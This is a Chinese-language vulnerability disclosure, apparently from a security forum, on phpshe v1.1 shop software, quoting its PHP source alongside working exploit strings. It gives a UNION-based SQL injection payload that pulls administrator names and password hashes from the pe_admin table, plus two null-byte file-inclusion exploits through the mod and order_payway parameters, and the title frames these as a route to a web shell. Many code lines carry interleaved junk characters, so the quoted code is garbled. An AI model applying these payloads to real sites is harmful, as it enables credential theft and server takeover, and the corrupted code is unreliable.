phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
9 Z+ U. v, ]/ F3 H0 L/* Phpshe v1.1 Vulnerability
( h$ Z8 u4 {# M& J/* ========================
/* By: : Kn1f3
9 \; r2 f! y+ y$ u5 b/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输


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; b; m+ s6 T4 P; q/ Y. |//common.php
if (get_magic_quotes_gpc()) {
7 J' J! {6 ~; ?!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
2 Q0 r0 {. p7 _& T' m" i!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
' D" D3 B- q: I' U/ [' Q!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
) _. O# l- A3 m!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

7 K% z& D" l2 I+ |, L0×01 包含漏洞
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1 `( O! k4 z" ]6 j  g* G7 C
9 V, m5 d- J' ], v//首页文件
5 ^. E$ A! V5 \+ r/ M# o<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
" j: y+ l. x/ Lpe_result();
?>
//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
! v: D* o0 u  o$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
2 T7 u4 t. l% Q  X, y+ _4 e$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
1 Z% a* M$ ~) @/ y1 D6 D//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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0×02 搜索注入
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<code id="code2">

//product.php文件
* x# C- i" U/ d4 q0 m( `# Qcase 'list':
5 O/ j( U* i7 q5 o: a8 j$category_id = intval($id);
5 r( g; ]  |) D. Y$info = $db->pe_select('category', array('category_id'=>$category_id));
/ w* Q: v3 |3 l+ v//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
( r$ ?! i) @- t' G. J. Yif ($category_id) {
! B+ @. Z, X( r( U4 C8 f2 ?where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
' l) ?2 c5 Q# ?' |$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
1 L8 M" Y% j% {! h' {$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
0 n& Z- ]& Z( P% r2 E, eelse {
$sqlwhere .= " order by `product_id` desc";
* t0 I# ]% p$ j- I0 ?}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
+ e; J. c* s3 g* O$ I//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
1 {% Q* x: ?8 @1 z4 W- J# K- ^/ N//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
2 a4 b' k& ^# `, j& h' X

</code>

, v5 ~( l4 t$ T" e+ l0×03 包含漏洞2

( V' Q5 s. O( i- V% i/ B<code id="code3">

//order.php

case 'pay':

3 p4 w/ T# h9 s, K2 A$ I" z$order_id = pe_dbhold($_g_id);

! N  W& T% J2 B% G/ a) R4 l$cache_payway = cache::get('payway');

, |6 u. C- M# S0 H. \/ {0 W/ cforeach($cache_payway as $k => $v) {

+ @8 L/ V" r0 s) z$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

2 ?) c' |4 t  v3 fif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

3 X4 s8 b) D0 {if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

4 X, z. y, X3 B9 B. M4 D& b$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

5 g5 g- Q; v# e- p! ]* Q* @/ ]$order['order_name'] .= "{$v['product_name']};";

}

( f# F, t9 D5 A. c/ a) H0 |7 Y9 Vecho '正在为您连接支付网站，请稍后...';

( c) v# m* r5 G& V: {include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

$ c6 B$ J0 D6 O) p  p3 b5 K5 n1 X}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

6 P" Z8 Z& v$ b* q- Q& S  Zpe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

' @( s- p, g9 R: A. Tinclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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